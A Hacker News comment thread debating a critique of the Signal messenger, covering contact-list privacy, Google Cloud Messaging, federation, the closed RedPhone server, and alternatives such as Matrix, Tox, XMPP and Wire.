> So if we run this chatty, online, synchronous protocol
It's not chatty: the exchanges _are_ large, in order to protect privacy, but
they are also rare, and are not ongoing. Whenever you add a new contact, you
re-initiate the protocol with your pre-existing contacts, that's all.
It's not online: as I indicated before all that's required is for each party
to send & receive messages, and have some state.
It's synchronous, I'll grant, but only in the trivial sense that one party
acts, then at some point in the future the other party acts. It certainly
_doesn 't_ require both parties to be online at any point.
> In my previous post I was really asking about the user experience angle,
> which you didn't respond to at all, so rather than asking a question, let me
> simply say: I think this feature (at least in as much as I can conceive of
> it being used) would provide a poor user experience.
I think that the user experience would be identical to the current Signal UX:
from time to time one's phone would buzz and indicate that one of one's
friends uses Signal. If one wanted to, one could add a contact in person, e.g.
through NFC or QR codes or whatever.
You seem very invested in hating this idea; you might ask why _I 'm_ so
invested in it. Very simply, Signal is a tool for secure communication, but it
requires that end users reveal every person they've ever communicated with to
OWS.
~~~
bascule
I guess you still don't understand where this falls down yet:
> The contacts which would be shared would be Signal contacts, identified by
> some public identifier like their phone number
If Alice and Bob are just comparing their directories of already-known Signal
contacts, there's nothing for a discovery protocol to accomplish: Alice, Bob,
and Charlie are already each other's contacts!
So this protocol can only help people discover contacts they are not yet aware
are Signal users. That would involve comparing their full set of on-device
contacts and sharing mappings of which one of those are within the subset of
known Signal contacts.
> You seem very invested in hating this idea
I would continue trying to give you what I thought were constructive technical
criticisms, but apparently you interpret that as me being "invested in hating"
the idea.
It's more like I'm invested in providing good user experiences for security
tools, which often involves starting with the user experience you want to
provide and working backward, not starting with a cryptographic algorithm and
trying to bolt-on a good user experience.
The latter is how we wound up with a pervasive ecosystem of unusable security
tools that Signal is a refreshing departure from.
You are starting with a protocol, not thinking about the user experience, and
declaring it a "solved problem". I'm not even convinced this protocol is the
right tool for the job.
~~~
wtbob
> If Alice and Bob are just comparing their directories of already-known
> Signal contacts, there's nothing for a discovery protocol to accomplish:
> Alice, Bob, and Charlie are already each other's contacts!
No, they are sharing (tel:+12025551212
signal:a31d79891919cad24f3264479d76884f581bee32e86778373db3a124de975dd86a40fc7f399b331133b281ab4b11a6ca)
pairs. Alice and Bob determine that they both know Charlie; Alice and Bob then
— since they both know one another and both know Charlie — feel good about
sharing with one another what Charlie's Signal ID is.
> So this protocol can only help people discover contacts they are not yet
> aware are Signal users.
Which is _exactly what Signal 's current contact-sharing protocols does_, in
addition to helping Signal discover all of one's contacts.
> I would continue trying to give you what I thought were constructive
> technical criticisms, but apparently you interpret that as me being
> "invested in hating" the idea.
I will give you the benefit of the doubt and assume that your repeated
failures to understand the protocol and its requirements are due to by own
poor explanations, and further that you actually intend to be constructive.
> It's more like I'm invested in providing good user experiences for security
> tools, which often involves starting with the user experience you want to
> provide and working backward, not starting with a cryptographic algorithm
> and trying to bolt-on a good user experience.
I'm starting with a principle, not a protocol. That principal is that: online
service providers must know the absolute minimum amount of information to do
their jobs. Ideally, instant messaging would use some form of private
information retrieval protocol so that server couldn't know who is talking to
whom. Given Signal's current architecture, it must know to whom one _is_
talking; there's no reason for it to also know everyone to whom one _could_ be
talking.
> The latter is how we wound up with a pervasive ecosystem of unusable
> security tools that Signal is a refreshing departure from.
Is it better to be usable but insecure than unusable but secure? I think the
answer is mu: a product must be both usable and secure. Granted, security is
always in the context of some threat, but it should be possible for users to
intuitively grasp the security context.
> You are starting with a protocol, not thinking about the user experience
So, what do _you_ think the user experience of contact discovery should be?
I've already demonstrated that my proposal has an identical experience to
Signal's, with the exception that one must manually register contacts not know
to one of one's contacts. How would you implement contact sharing without
giving OWS access to everyone's address book everywhere?
------
chrismartin
Signal may not transmit any payload via Google Cloud Messaging, but Signal's
requirement to run Google Play Services compromises the user's privacy in ways
that have nothing to do with Signal. If you run Play Services then you have a
device which provides your communications metadata, whereabouts, and device
usage habits to Google.
I don't trust Google with this information and don't want to carry such a
device, but a handful of friends and family use Signal, so I must choose
between easy/secure communication with them, and reducing my exposure to
corporate surveillance.
Signal may be "pragmatic" among the current choices (just like the project's
decision to use GCM is pragmatic), but OpenWhisperSystems absolutely deserves
criticism for:
1\. Tying secure communication to running what amounts to Google's spyware on
your device
2\. Offering no alternative for privacy-conscious users
3\. Showing hostility to those trying to introduce such an alternative to the
project
I think those dismissing these concerns as "crypto-puritanism" will be on the
wrong side of history.
~~~
haffenloher
> 3\. Showing hostility to those trying to introduce such an alternative to
> the project
Quite the contrary, they're actively asking people to contribute code for an
alternative push mechanism [1][2]:
" _I would consider a clean, well written, and well tested PR for websocket-
only support in Signal. I expect it to have high battery consumption and an
unreliable user experience, but would be fine with it if it comes with a
warning and only runs in the absence of play services._ "
[1]
[https://github.com/LibreSignal/LibreSignal/issues/37#issueco...](https://github.com/LibreSignal/LibreSignal/issues/37#issuecomment-226646872)
[2]
[https://news.ycombinator.com/item?id=12883410](https://news.ycombinator.com/item?id=12883410)
------
reacharavindh
This. I didn't know much of the insides of Signal. But, When WhatsApp decide
to go in bed with FB to share my contacts and usage, one of the alternatives I
explored was Signal. Threw it out the moment it asked for ownership of my
contacts (no way to opt out). I for one am not going to trust a guy's pinky
promise to be good with my contacts and meta-data.
If I'm going to give up the convenience of reaching anybody by WhatsApp, it is
going to be at least worth it in the sense of privacy.
Still hoping for a GNU project that garners enough interest to be technically
strong, and used universally. One can dream.
~~~
Joeboy
I doubt you'd want to use it if it _didn 't_ use your contacts, though. Not
many people are prepared to deal with a whole separate set of contact ids for
the sake of a small amount of arguable extra privacy.
~~~
codedokode
There could be two separate versions, one for paranoid users, one for those
who don't care. The number of permissions Signal app requires is scary. It
gets almost full control over your phone including reading SMS messages.
~~~
majewsky
> The number of permissions Signal app requires is scary.
This is exactly why I'm shying back from recommending Signal to my family. I
taught them that the equation "permissions = bad" generally holds, so Signal
would look like spyware to them, even if every single permission turns out to
be justified for some reason.
------
codewiz
"Also, there’s the issue of integrity. Google is still
cooperating with the NSA and other intelligence agencies.
PRISM is also still a thing."
What's this based on? Google immediately denied any association with the NSA
and PRISM:
[https://googleblog.blogspot.com/2013/06/what.html](https://googleblog.blogspot.com/2013/06/what.html)
Google’s chief legal officer claimed that collection was being done without
Google's consent:
[http://www.irishtimes.com/news/technology/google-outraged-
at...](http://www.irishtimes.com/news/technology/google-outraged-at-nsa-
interception-claims-1.1579245)
Evidence leaked by Edward Snowden also points in the direction of illegal
infiltration of Google's private network without Google's consent:
[https://www.washingtonpost.com/world/national-
security/nsa-i...](https://www.washingtonpost.com/world/national-security/nsa-
infiltrates-links-to-yahoo-google-data-centers-worldwide-snowden-documents-
say/2013/10/30/e51d661e-4166-11e3-8b74-d89d714ca4dd_story.html)
~~~
sandervenema
On this: [https://wikileaks.org/Op-ed-Google-and-the-NSA-
Who-s.html](https://wikileaks.org/Op-ed-Google-and-the-NSA-Who-s.html)
there are links on that page that point out multiple e-mails from the STRATFOR
leaks and other files that point to Google being deeply embedded with the U.S.
security apparatus.
Also: [https://www.theguardian.com/world/2013/aug/23/nsa-prism-
cost...](https://www.theguardian.com/world/2013/aug/23/nsa-prism-costs-tech-
companies-paid)
~~~
sandervenema
And Google became a PRISM partner in 2009, as the slides here from the Snowden
collection prove:
[https://search.edwardsnowden.com/docs/PRISMUS-984XNOverview2...](https://search.edwardsnowden.com/docs/PRISMUS-984XNOverview2013-06-06nsadocs)
~~~
codewiz
And Google became a PRISM partner in 2009,
as the slides here from the Snowden collection prove
Read those slides more carefully: they say that collection from Google began
on 1/14/09, not that Google became a willful partner of the PRISM program.
~~~
sandervenema
As the previous links from STRATFOR etc. prove, Google is deeply embedded in
the security/intelligence apparatus. That part is definitely willing and
beneficial to both parties. Of course, they're going to make changes and issue
statements to the contrary regarding PRISM, because that would lose them
customers.
This is also an interesting read, albeit a bit long:
[https://wikileaks.org/google-is-not-what-it-
seems/](https://wikileaks.org/google-is-not-what-it-seems/)
Google continues to coast on the goodwill of its "don't be evil" doublespeak,
as Mr. Assange puts it. There's no reason to trust them now.
~~~
bitmapbrother
You've presented no proof whatsoever. All you've done is make unsubstantiated
allegations.
------
EugeneOZ
Any messenger, tied to phone number, is not safe. possible attacks are: 1)
create copy of sim-card; 2) force mobile operator to intercept password-code,
sent to your number, and "restore" password this way. It may sound ridiculous
for you, but in Russia it's reality (both vectors), it's real cases from life.
And when user really need safe messenger, all of them are too careless to
implement really safe way of messaging. And if you think these vectors are not
possible in your country - be sure, we were thinking the same way.
~~~
trimbo
This is why there is a fingerprint ("Safety Numbers" in Signal), and a warning
on every message when that fingerprint changes.
~~~
codedokode
Warning still does not fully prevent the attack. The attacker can still access
the account and obtain the data stored at a server (like contact list if it is
stored there).
~~~
majewsky
> like contact list if it is stored there
The only thing that we know they store is the creation timestamp and last-seen
timestamp for each account: [http://arstechnica.com/tech-policy/2016/10/fbi-
demands-signa...](http://arstechnica.com/tech-policy/2016/10/fbi-demands-
signal-user-data-but-theres-not-much-to-hand-over/)
Reading over the article again, though, it neither confirms nor denies where
these timestamps are the _only_ thing stored about an account. They explain
these are the only data matching the concrete subpoena they received.
------
heavenlyhash
EDIT: this isn't a response to most of the article, but specifically to the
"Moving Forward" section, asking about alternative tools.
Come to the matrix!
[https://matrix.org/](https://matrix.org/)
It's free -- all FOSS, including the entirety of the server -- and yes, all of
it: proof by existence: several of my friends run their own.
It federates. I regularly join channels hosted on several different servers,
and exchange messages without issue.
It's on every platform. I use it on the desktop, my android (cyanogen, without
gapps, none the less!), and my ipad, every day.
It even has voice and video calling built in, using webRTC. This feature has
been a little rough while it was in development, but I used it last week in a
1-on-1 call and had an effortless experience. The audio and video quality was
on par with Google Hangouts.
Crypto is hard, but it's coming. The Matrix developers have huge respect for
the axolotl ratchet design used in Signal. They've worked on making another
implementation (in C, for easier linking in various languages, ostensibly)
here: [https://matrix.org/git/olm/](https://matrix.org/git/olm/)
The deployment of that code to give full End-to-End encryption is a work in
progress, but the beta is roughly functional. It includes everything you'd
expect: communication works by default, but in an encrypted room, messages are
flagged yellow if you haven't explicitly verified the sender's key. There's a
key per device; it doesn't leave the device; and as soon as you verify that
device/key, messages from it are green, and you're E2E secure.
Disclaimer: I have no direct association -- I became a Matrix convert after
trying to write some XMPP client code about a year ago. I'm just really
enthusiastic about recommending it because the tech is solid, the sync is
good, it solves a problem, and the team hasn't stopped either: they been
firing on all cylinders constantly since I started using Matrix.
I love Signal for their dedication to getting encryption right and the
security of their users. But yes, I also share a lot of the concerns listed in
this article. Most of all, I honestly believe federation is an imperative. So,
while acknowledging Signal's history of outstanding security work... Hey,
let's celebrate there's more than one game in town working on alternatives.
~~~
qwertyuiop924
I heard from another thread that Matrix is bad a realtime messaging, and quite
slow at it. Is this true?
~~~
heavenlyhash
Not even remotely.
It's quite _good_ at realtime, and especially _reliable_ realtime. Compared
with protocols like XMPP, Matrix scores way higher on reliability because it
has message IDs and message ordering baked into the protocol, so it can
actually _converge_ on a correct state after network flakes. (I consider this
a pretty big deal because silent message drops were a pretty regular issue for
me in XMPP, and we all know about netsplits in IRC. I've simply _never_ had
silent message loss in Matrix because the protocol is _simply better_.)
~~~
qwertyuiop924
Ah. It was claimed by
[https://news.ycombinator.com/item?id=12880856](https://news.ycombinator.com/item?id=12880856),
but that was an XMPP developer, so there's a bias.
~~~
heavenlyhash
It's true that it's a big hunk of JSON. And I'll readily concede that when
efficiency matters, I'm more partial to binary formats like CBOR. But XMPP is
XML, which... isn't exactly lighter.
There's another HN thread where I've talked more about XMPP vs Matrix here:
[https://news.ycombinator.com/item?id=9772968](https://news.ycombinator.com/item?id=9772968)
\-- long story short, I _tried_ to write an XMPP client, and I got grey hairs,
fast. The story for consistent delivery is pretty much bananas. (And huh,
based on that date, I guess I've been a Matrix convert for almost TWO years
now! Time flies.)
I'm not entirely sure what the comment about battery is about either. If
anyone has a networking technology that can work without turning on the phone
radio, I'm sure we'd all love to hear it...?
Practically speaking, I leave the Matrix Vector app open on my phone
constantly. As of this morning, I have half a charge, and three more days of
charge to go. I don't have any other apps to provide a good comparison here,
but I'll leave this screenshot here for what it's worth:
[https://matrix.org/_matrix/media/v1/download/matrix.org/IgkU...](https://matrix.org/_matrix/media/v1/download/matrix.org/IgkUoQxhTNUvErfkrcKBSfrP)
Looks like my phone has spent about the same order of magnitude of battery on
just plain paging the cell towers as I moved around the city. As other
comments on this thread cover, if you use proprietary Google stuff, you can
wake the phone up slightly more efficiently. But whatever this app is doing
works pretty fine for me.
~~~
SamWhited
XMPP only has to turn the radio on full power mode when it gets a new message
or creates a new connection (the tower sends the LTE radio a paging message
telling it to wake up, then the long-lived TCP connection can receive data).
Matrix has to turn the radio on every single time it wants to check for data,
regardless of whether there is data to receive or not. This is the problem
with HTTP based protocols; you _might_ have a persistent TCP connection, but
it doesn't help you when you have to send a request just to check if there are
new messages.
It's not a case of radio _off_ vs _on_ , it's a case of the radio being able
to stay in RRC_IDLE mode (which I've probably called "off" more than once,
which is where the confusion came from I'm sure, apologies for that) for more
of the time, where as with Matrix it almost always has to remain RRC_CONNECTED
mode.
~~~
Arathorn
I don't believe this is true. The long-polling that Matrix does in the
baseline impl is just a long-lived HTTP request which blocks until the server
has something to send it. Radio-wise this is conceptually the same as an XMPP
TCP connection.
The only difference is that (in the baseline impl) you start a new HTTP
request after receiving each response - which chews some additional data
relative to XMPP. The radio will already be spun up from receiving the
previous data, though, so it shouldn't impact significantly on battery
consumption.
Also, we put a timeout on the long-lived request (typically 30-60s), to aid
recovery in case of the request or connectivity breaking - which could
theoretically increase bandwidth and radio battery consumption, but in
practice almost all Matrix use cases involve receiving events more frequently
than the timeout, so the timeout doesn't actually have much impact on battery.
That said, there is (deliberately) huge scope for improvement with alternative
transports - using strict push rather than long-polling; using transports with
less overhead; using more efficient encodings, etc.
------
cbsmith
There's a fundamental assumption here: that there is a better way. I'm not
saying there isn't, but there's a pretty good existence proof that Signal is
the best combination of security & simplicity we can put together.
I would agree with this statement from the article: "there should be a tool
that is fully free software (as defined by the GNU GPL), that respects users'
freedoms to freely inspect, use, modify the software and distributed modified
copies of the software. Also, this tool should not have dependencies on
corporate infrastructure like Google’s (basically any partner in PRISM), that
allows these parties to control the correct working of the software."
There are such tools. None of them are as easy to use as Signal. So for now, I
recommend Signal. I can't, in good conscience, recommend anything else... and
given the author doesn't speak to what they recommend, I'm curious about what
their recommendation would be.
------
zabuni
"Also, there’s the issue of integrity. Google is still cooperating with the
NSA and other intelligence agencies. PRISM is also still a thing. I’m pretty
sure that Google could serve a specially modified update or version of Signal
to specific targets for surveillance, and they would be none the wiser that
they installed malware on their phones."
Isn't part of the reason that Moxie went with the Google Store is that he gets
to sign the god damned binaries, making it impossible for Google to modify the
app.
~~~
sandervenema
Hi, author here. Yes, my point with that sentence was that the average (non-
technical) user (to which Signal is marketed btw), is not going to check
signatures. Google has root on the phone, the user is using their app store to
install the Signal app that comes up in the store, and basically Google has
full control over this, and the user would be none the wiser.
Of course, us more technical inclined people could then check the signature,
or compare the apk with one built from the official sources, to see the
difference and complain about it.
But between those things is a time frame where this is possible.
~~~
zigzigzag
Does it, actually?
I was under the impression that the Play Store doesn't run as root and the
package manager API (controlled by the phone manufacturer) is what checks
signatures. Can the Play Store override the signature checks on upgrade and if
so, what codepaths is it using?
~~~
sandervenema
Just a quick look, but this is the PackageManager.java file:
[https://android.googlesource.com/platform/frameworks/base/+/...](https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/content/pm/PackageManager.java)
for the Android base framework. It has the checkSignatures() abstract
definition and some other stuff that seems to be the API you talk about. Now
this is all abstract, so some other party (maybe phone manufacturer, possibly
others) must implement these methods to conform to the API. Could Google (or
some other party) not just override the abstract implementation?
I find it hard to believe this is something only the phone manufacturer would
have access to, not Google itself, given that Google has created the entire
operating system basically, and is pulling more and more stuff from the AOSP
into their proprietary apps (like Play services).
~~~
zigzigzag
The subclass would have to be in the same process as the package manager (the
system server) so it being abstract doesn't matter much.
Android doesn't rely so much on root vs non-root: it uses SELinux and lots of
capability based security. Root is still there of course but out of the box,
even the parts under remote OEM control don't run as root. If the OEM wants to
change the basic rules of the system they must push a system update and get
the user to agree to it. Of course a firmware update can change anything but
outside of that I'm not convinced Google can just replace software at will.
------
walterbell
Wire ([http://wire.com](http://wire.com)) has worked well on iOS for encrypted
text/files/audio/video. Open-source client, no contact sharing neeeded. No
phone number needed, you can register with email by using a desktop browser at
[http://app.wire.com](http://app.wire.com), then logging into the mobile app.
Group chat for text only. Timed/ephemeral messages for 1:1 text/files. Feature
matrix, [https://wire.com/privacy/](https://wire.com/privacy/). Could use more
documentation (e.g. on retention of encrypted data) but a lot of questions are
answered on Twitter or Github issues.
~~~
tdkl
> Don't know whether it needs GCM on Android.
The .apk on the site uses websocket, no GCM required.
------
haffenloher
From the post:
" _The Google Cloud Messaging service basically handles message handling from
/to the user’s devices to the Signal servers. The GCM service then handles all
the aspects of queueing all messages and delivery from/to users._"
This is not true. Messages are delivered via Signal's own servers only. GCM
messages are empty; their only purpose is to wake up your device. [1]
" _The phone component of Signal is called RedPhone. The server component of
this is unfortunately not open source [...] this is also probably the reason
why secure encrypted phone calls don’t work in e.g. LibreSignal_ "
No. The reason for that is that the signaling for RedPhone calls is currently
still done via GCM and not via Signal's own message transport.
Regarding microg: I've never heard of the need to re-compile kernels for that.
I think most people use it with Xposed (admittedly, a giant hack, but it
works).
[1] [https://whispersystems.org/blog/goodbye-encrypted-
sms/](https://whispersystems.org/blog/goodbye-encrypted-sms/)
~~~
sandervenema
Hmm. You seem to be right. Article corrected there to reflect that Signal is
using empty GCM messages. I must have still had the old situation of
TextSecure in my head when I wrote that. Nice to know re the reason Redphone
doesn't work, thanks for that insight!
~~~
tptacek
_(had suggested the author add an endnote; they did)_
~~~
sandervenema
Yes, I agree that's more transparent. I've added an endnote, and linked to it
from the place where the edit was made.
------
joecool1029
Can't wait for moxie to jump into the commentary. :)
>Lack of federation
Moxie's pissy because he trusted the kangbangers at Cyanogenmod to to keep in
sync with his development. They didn't. Someone will need to volunteer to run
their own server that's kept updated, then buy Moxie a Snickers and hope he
stops being moody.
>Dependency on Google Cloud Messaging
Fun fact: The iOS client doesn't use GCM, it uses Pushkit. GCM was chosen for
Android because what else is as robust and doesn't eat battery? Moxie's voiced
support of Websockets if someone implements it correctly and he can merge it
as a fallback option when Play Services are missing. If you can't code and
want it, contribute to the bounty on it:
[https://github.com/LibreSignal/LibreSignal/issues/37](https://github.com/LibreSignal/LibreSignal/issues/37)
[https://github.com/LibreSignal/LibreSignal/issues/43](https://github.com/LibreSignal/LibreSignal/issues/43)
> Your contact list is not private
[https://whispersystems.org/blog/contact-
discovery/](https://whispersystems.org/blog/contact-discovery/)
TL;DR, it's a tradeoff because nobody has a better idea that works at scale
and is usable. Redphone used to have a good way of blindly doing contact
discovery but it would require too much data for their current userbase.
~~~
secfirstmd
Layoff the personalised attacks on the psychology of someone who has helped
increase the security of hundreds of millions of people for free, on basically
a shoestring. Making pro/against arguments about Signal is fine but Moxie is
genuinely a nice person (as are the rest of the former and current OWS team),
so let's keep the argument civil.
~~~
joecool1029
I actually insulted the Cyanogenmod team and I think it's funny you missed
that.
I don't have an issue with Moxie except that he's been pissy over this and a
few other issues. I don't think anyone is going to argue that he isn't. Why
not check the first link to the Libresignal thread and read his comments on
the topic?
(EDIT: I get the downvotes on this comment, but like Moxie, I too am seriously
annoyed that Cyanogenmod dropped the ball so bad with them. Moxie would need
to get over it if there's a new solution in the future and HE ALREADY VOICED
HIS OPINION THAT FEDERATION IS UNLIKELY. If that's not being pissy, I don't
know what else is. I used to run Libresignal on BB10 and now I can't because
of this policy of being anti-federation and no work moving forward on
websockets fallback. He'll likely say no to approving the fallback on
Replicant/Sailfish/BB10 because he doesn't get version reporting through
analytics and is concerned about disturbances of the signal server.)
------
Canada
Nothing is stopping anyone from running their own servers, changing the
username scheme, and implementing the voice signaling. Moxie doesn't complain
about such usage. But that's more work than simply complaining and telling OWS
what they should do.
As far as usernames go, that would require the signaling key to be remembered
by the user. That doesn't work well in practice. As far as contact sync goes,
has anyone submitted a patch for the android client to add an advanced option
to disable that? On IOS access to the address book is user controlled at
runtime. destinations will be validated by the server at compose time.
Regarding federation, let's see some code. It's ridiculous to demand the small
team that is OWS solve every single problem.
~~~
JupiterMoon
> Regarding federation, let's see some code. It's ridiculous to demand the
> small team that is OWS solve every single problem.
Moxie has explicitly rejected federation. Anyone writing such code is wasting
their time it won't get accepted.
~~~
Canada
Yep. You can run your own federation though. And maybe if it's really awesome
he'll change his mind.
------
nickik
I have started to read about matrix a lot.
\- It now supports e2e encryption.
\- It has a nice web and mobile client, called riot.im
\- I has many other client options
\- You don't need to show any phone numbers.
\- Federated, you can host your own server
------
droopybuns
Animated GIFS were the straw that broke the camels back?
Let's throw the best available solution under the bus.
This post will be my go to example of the myopia of some members of the
security community. We have very few examples of well executed, consumer
friendly privacy soloutions. Signal is the best for all possible scenarios:
Open source, user friendly, buy in from a major Internet service.
I like wickr, but it falls short due to the closed source nature of the
project.
Consumer friendly, usable security needs to be the number one priority for
security advocates. We need to stop burning down houses because they are short
a door or are the wrong color. The foundation is the hard part. Wait till
there is a real alternative that can be used by people who are not c.s. majors
before you argue that people should stop using the best available solution.
I appreciate the authors perspective and I agree with some of their points.
Then they fuck it up by demonstrating purist jackassery. Worth a read as a
useful persuasion antipattern.
------
secfirstmd
I've trained hundreds of human rights defenders and journalists over the last
10 years and I will continue to recommend Signal. For too long the community
has placed perfect security over usability - there are slightly more secure
ways to communicate than Signal but they are far too disruptive to peoples
work flows to actually be implemented.
------
latkin
> this tool should not have dependencies on corporate infrastructure like
> Google’s (basically any partner in PRISM)
Free yourself from the bonds of corporate infrastructure by installing this
tool on your Google Android or Apple iPhone device (Microsoft Windows desktop
version coming soon).
------
qwertyuiop924
There are several projects moving toward this. Matrix is probably the most
well-known project, but its crypto isn't actually operational yet, AFAIK.
Tox works now, but for all their talk of trying to be user-friendly, asking
users to exchange long alphanumeric sequences inherently isn't.
Psyc, maybe?
~~~
SamWhited
Matrix's protocol design is terrible for realtime messaging though (I'm sure
there are other uses for which it's more adept); it's effectively a giant,
inefficient, JSON datastore that syncs data everywhere. It's also pull based
so it consumes battery like crazy. If that's what you need, fine, but for
realtime messaging I'd argue that it's really unacceptable.
~~~
qwertyuiop924
Okay. Tox, anybody?
~~~
SamWhited
I haven't looked into Tox, but I'd be curious to find out the highlights.
Really I've just never understood why people complain about XMPP; yes, it's
XML which is ugly, but it's also the right tool for the job (easy to stream,
very fast SAX-style parsers, event based, etc.), it certainly has its warts, I
won't pretend it's perfect, but for the most part it's been around for 20+
years getting the kinks worked out. If we just keep creating new protocols
because it's not perfect, we'll never get a more or less universally federated
chat protocol like we have for more long form messages (email). I don't know
anyone who would say email was the most wonderful modern thing in the world,
but they still use it because it's good enough and was lucky enough to become
ubiquitous. Similarly, I feel like people should just use XMPP even if they
don't like it for that reason (although I'd still love to find out more about
Tox, what it's strengths and weaknesses are, etc.)
~~~
qwertyuiop924
Tox is a fully distributed ( _not_ federated) p2p system. It supports 2-way
messaging, multi-way chatrooms, voice and video calling (using Opus and VP8,
respectively), file sharing, and desktop streaming, although not all features
are supported by all clients. Although any client can implement any feature
they like, so long as they can do it atop the actual network system, sticking
to the Tox Client Standard is reccomended for maximum compatability. It
implements perfect forward security, and uses libsodium for its crypto. There
are a variety of clients, although most seem to use toxcore, the reference
protocol implementation, under the hood. However, the spec is readily
available, and there are independant implementations.
Tox's goal is essentially to create a user-friendly Skype-like chat
application, with not centralized server, and strong security by default.
The downside is that your user ID on tox looks like this:
56A1ADE4B65B86BCD51CC73E2CD4E542179F47959FE3E0E21B4B0ACDADE51855D34D34D37CB5
And you have to give it to anybody who wants to connect to you on tox. There
are services like ToxMe which can give you email-style shorthands, but as the
Tox FAQ notes, this can leave you and your contacts vulnerable to an MITM
attack, if the site you use is untrustworthy.
~~~
SamWhited
> Tox is a fully distributed (not federated) p2p system
Ah, see, you lost me there already. I'm sure it's clever and well made and all
the rest of it, but fully distributed systems either almost never work, are
very difficult to get setup and use properly, or end up just not being fully
distributed systems (eg. early Skype and it's "supernodes" or whatever it
called them, aka "servers", or Tor [which I love] and it's directory
authorities which admittedly are elected, but even so are effectively just
"servers", or Bittorrent which has either trackers, aka "servers", or hard-
coded DHT bootstrap nodes, aka also "servers").
Distributed systems sound great in theory, but in the real world I just never
think they're worth the effort, or you have to compromise them and add some
centralized element anyways, at which point you might as well just use a
federated system so that people who don't want to deal with all that can use a
third party server and people who do want their own specially contained
distributed node can just run their own server and client.
~~~
qwertyuiop924
Tox has DHT bootstrap nodes, but they aren't hardcoded.
~~~
SamWhited
Who bootstraps the bootstrap nodes?
~~~
qwertyuiop924
The bootstrap nodes were probably the first ones on the DHT: hence, no
bootstrap needed. If it's a new bootstrap node, it's connected to the old
bootstrap nodes, or some other set of nodes in the DHT, just like any other
node: distributed, not federated.
But once a node is acutually inside the DHT, it should never need to talk to
the bootstrap nodes ever again: that's a pretty major win, in some respects.
~~~
SamWhited
Sorry, that was supposed to be a silly joke, but it also made it horribly
unclear. I meant: How do you find the nodes to bootstrap yourself into the DHT
in the first place? They must be IPs shipped with the client?
~~~
qwertyuiop924
Yes, there are. However, they can be replaced with other servers if the user
wishes.
------
youdontknowtho
If they are only using GCM as a queue (and the messages are themselves
encrypted) I don't understand what the problem is.
They could use anyone for that functionality. Even if the messages are given
to an "adversary" what can they really get from that? Your phone app contacted
the signal servers. That's really it.
~~~
haffenloher
They're not even using it as a queue, they're queueing and delivering the
messages themselves. GCM messages are empty and are only used to wake up your
device.
------
joecool1029
Redphone component.
I don't know why it's closed source. It's been suggested elsewhere in this
thread that it was potentially IP issues they kept it closed for. Is it
possible loose US CALEA law interpretation influences the reasoning? Or a gag?
I honestly don't know why they chose to do that but I wanted to comment in to
see if a lawyer or someone from the project could hint at the reasoning.
~~~
theGimp
[https://github.com/WhisperSystems/Signal-
Android/tree/master...](https://github.com/WhisperSystems/Signal-
Android/tree/master/src/org/thoughtcrime/redphone)
~~~
codethief
This is the _client_ component. The blog post and your parent were referring
to the server component.
------
lisper
I'm working on a completely open secure communications suite based on
TweetNaCl. Proof-of-concept prototype is here:
[https://github.com/Spark-Innovations/SC4](https://github.com/Spark-
Innovations/SC4)
Working on a better UI at the moment. Could really use help, especially beta
testers.
------
rstuart4133
I know the redphone is library is just a binary blob in the github repository:
https://github.com/WhisperSystems/Signal-Android/tree/master/libs/armeabi
But I always thought that .so was just a compiled version of this C++ source,
which in the same github repository:
https://github.com/WhisperSystems/Signal-Android/tree/master/jni/redphone
I haven't compiled it myself so I can't be 100% sure, but the C++ entry points
matches the API the Java code is using. I presume it's written in C++ for
speed. There isn't much to the C++ bits. It just pumps data through an
encrypted RTP connection - CPU intensive but not particularly complex.
The server code is up there too - in fact it's all up there. AFAICT, Signal is
completely open source.
------
gyey
I haven't actually worked with GCM so please forgive me if this doesn't make
any sense. I suggest that, instead of routing all messages through GCM, what
if Signal could send a "wake up" message via GCM, and then let the app pull
the encrypted messages directly out of Signal's servers? A wake up message
would only be sent by the server if the message could not be received by the
client via normal means (implying that the device is asleep).
An optional user preference could allow some dummy wake up messages to be sent
at random moments during the day, to support plausible deniability, at the
cost of slightly worse battery life performance. This would all happen
silently and the user would only notice a message notification when the app
successfully fetches a new incoming message.
~~~
haffenloher
> I suggest that, instead of routing all messages through GCM, what if Signal
> could send a "wake up" message via GCM, and then let the app pull the
> encrypted messages directly out of Signal's servers?
Yep, that's exactly how Signal has been doing it for >1.5 years now.
~~~
gyey
ahh. I just thought otherwise from some of the other comments here. Makes
sense. Thank you.
------
em3rgent0rdr
I didn't have to recompile my kernel to use microg...instead I used FakeGApps
with Xposed framework. instructions:
[https://github.com/thermatk/FakeGApps](https://github.com/thermatk/FakeGApps)
------
codemac
Signal is to get people from SMS and iMessage -> Signal. This means that cross
platform communication becomes secure in transit.
Once Signal and others have really wiped out all the insecure messaging people
are doing, then we can start with the identity problem with phone numbers.
GCM, Contacts, etc are all related to this "phone number as identity" problem.
RCS is an unfortunate grab in this space, and we need to move fast before RCS
is the default, and we're back to insecure messaging.
Email addresses are the best form of "federated identification" but are wildly
insecure for communication. Here's to hoping we can get some better ones.
------
RustyRussell
For me I won't recommend it because of the horrible lack of options when you
replace your phone (let alone lose it). No encrypted migrate. No backup
options. Unencrypted loses content (images).
Plus there's no way to search old messages.
~~~
majewsky
I guess these are all features. For example, how are you going to do a backup
that restores when you lose the phone (and thus the private key)? In practice,
you would encrypt the backup with a passphrase, and the user would choose
"123".
Signal aims to be the most usable secure messenger, not the most usable
messenger that also happens to be secure.
------
lonelyw0lf
The truth which a lot of Moxie fans don't want to admit is he thinks there is
nobody better to be entrusted with this project. I don't think this was ever
meant to be a community project -- he just opened some parts so he could
pretend it is. Also he is a limelight hogging security diva who always wants
to be in the news and have people talk about him. If he allowed others to
contribute and be recognised, he worries they might overshadow him.
------
argos-rho
The author offers no better alternative so I think that means the article
speaks for itself: there's not much to do but whine. These are problems, sure,
but they're minor when you consider that Signal is the most secure and user-
friendly messenger we have on the market right now. If something takes its
place, then great. Otherwise, we just will continue to use what is secure and
actually works.
------
raverbashing
\- Lack of federation
Use a federated secure protocol. Oh wait, there are none. Because if a problem
appears you just can't fix it without breaking all federated clients. And then
they will whine.
\- Dependency on Google Cloud Messaging
Fair enough
\- Your contact list is not private
Fair enough
\- The RedPhone server is not open-source
While it would be nice that it was Open sourced I can understand them not
releasing it (might be for IP issues)
tl,dr: "Signal does not work the way I wanted"
~~~
qwertyuiop924
Umm... Tox?
~~~
exo762
Tox on mobile? Have you actually tried to use it? It drains your battery like
crazy.
~~~
qwertyuiop924
He didn't ask about that. He asked about a federated/distributed protocol that
actually worked. Tox is one.
------
1024core
> Another issue, and a plus for using usernames, is that you may want to use
